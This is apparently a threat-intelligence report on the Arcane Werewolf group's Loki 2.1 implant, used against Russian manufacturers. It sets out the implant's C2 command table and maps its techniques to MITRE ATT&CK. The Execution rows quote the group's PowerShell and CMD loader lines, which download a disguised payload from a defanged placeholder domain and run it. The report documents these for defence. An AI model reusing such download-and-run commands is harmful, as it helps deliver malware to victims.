Arcane Werewolf revamps its arsenal with Loki 2.1 implant

The cluster targets Russian manufacturing companies

Command No.	Description	Loki 2.0 analogue
0	Terminate the implant’s operation	exit
1	Change the interval between calls to the C2 server	sleep
2	Upload a file from the C2 server to the compromised host	upload
3	Download a file from the compromised host to the C2 server	download
4	Start a process via `CreateProcessW`. If no process/flags are specified, run `C:\Windows\System32\cmd.exe` with the `/C` flag and redirect I/O streams through a pipe	create-process
5	Inject code into a target process, with options to: inject a DLL through PID; entry point (exported function) is located via djb2 hash inject shellcode through PID inject shellcode through a process descriptor (handle)	inject
6	Change the current working directory via the WinAPI functions `SetCurrentDirectoryW` and `GetCurrentDirectoryW`	cd
7	Terminate the specified process via the WinAPI functions `NtOpenProcess` and `NtTerminateProcess`	kill-process
8	Execute a Beacon Object File (BOF)	bof
9	Obtain the present working directory	pwd
10	Manage Windows access tokens	token
11	Retrieve all environment variables	env

Tactic	Technique	Procedure
Initial Access	Phishing: Spearphishing Link	Arcane Werewolf uses links in phishing emails to load malware
Execution	Command and Scripting Interpreter: PowerShell	Uses a malicious LNK file to run the following PowerShell command: `powershell -c "$ProgressPreference='SilentlyContinue' ;iwr -Uri $env:u -OutFile $env:TEMP\icon2.png;conhost.exe $env:TEMP\icon2.png"`
	Command and Scripting Interpreter: Windows Command Shell	Uses a malicious LNK file to run the following CMD command: `cmd.exe /v:on /c "set u=hxxps://192.168.1[.]1/m2.png && set u=!u:192.168.1[.]1=[malicious_domain]!` Employs CMD commands in droppers to execute the following files: `cmd.exe /C conhost.exe [malicious_file_path]` `cmd.exe /C start [decoy_file_path]` Leverages the Loki implant to remotely execute commands via the `cmd.exe` interpreter
	Native API	Uses the C++ dropper’s WinAPI function `CreateProcessW` to execute the malicious payload. Leverages the Loki implant’s WinAPI function `CreateProcessW` to run the process as instructed by the C2 server
	User Execution: Malicious Link	Attempts to lure victims into clicking links in phishing emails that lead to malware downloads
	User Execution: Malicious File	The victim must unpack the ZIP archive and open the embedded LNK file to trigger the compromise
Defense Evasion	Deobfuscate/Decode Files or Information	Arcane Werewolf employs various droppers to deobfuscate/decode embedded payloads
	Indirect Command Execution	Employs `conhost.exe` to run the following malicious executables: `onhost.exe %TEMP%\icon2.png` `conhost.exe %TEMP%\chrome_proxy.pdf`
	Masquerading: Double File Extension	Uses the double extension `.pdf.lnk` in an LNK name
	Masquerading: Masquerade File Type	Uses `.png` and `.pdf` extensions to disguise its malicious executables
	Obfuscated Files or Information: Dynamic API Resolution	Leverages the djb2 algorithm to hash the names of WinAPI functions and Loki/C++ dropper libraries
	Obfuscated Files or Information: Embedded Payloads	Embeds the Loki implant in the Loki 2.1 loader
	Obfuscated Files or Information: Encrypted/Encoded File	Embeds a Base64‑encoded payload in the Go dropper
	Obfuscated Files or Information: Compression	Embeds compressed payload in the C++ dropper’s resource section
	Process Injection	Uses the Loki implant to inject shellcode into certain processes (as instructed by the C2 server)
	Process Injection: Dynamic-link Library Injection	Uses the Loki implant to inject DLLs into certain processes (as instructed by the C2 server)
Discovery	System Information Discovery	Leverages the Loki loader to retrieve data such as computer name and OS version
	System Network Configuration Discovery	Leverages the Loki loader to obtain the internal IP addresses of compromised hosts
	System Owner/User Discovery	Leverages the Loki loader to obtain the system username
Command and Control	Layer Protocol: Web Protocols	Communicates with the C2 server over HTTPS in Loki
	Data Encoding: Standard Encoding	Employs Base64 to encode the encrypted data exfiltrated to the C2 server
	Encrypted Channel: Symmetric Cryptography	Uses the AES algorithm in the Loki loader to encrypt data exfiltrated to the C2 server
	Ingress Tool Transfer	Uses the Loki implant to upload files to the compromised host (as instructed by the C2 server)
Exfiltration	Exfiltration Over C2 Channel	Uses the Loki implant to exfiltrate files from the compromised host to the C2 server (as instructed by the latter)
Impact	Service Stop	Uses the Loki implant to terminate certain processes (as instructed by the C2 server)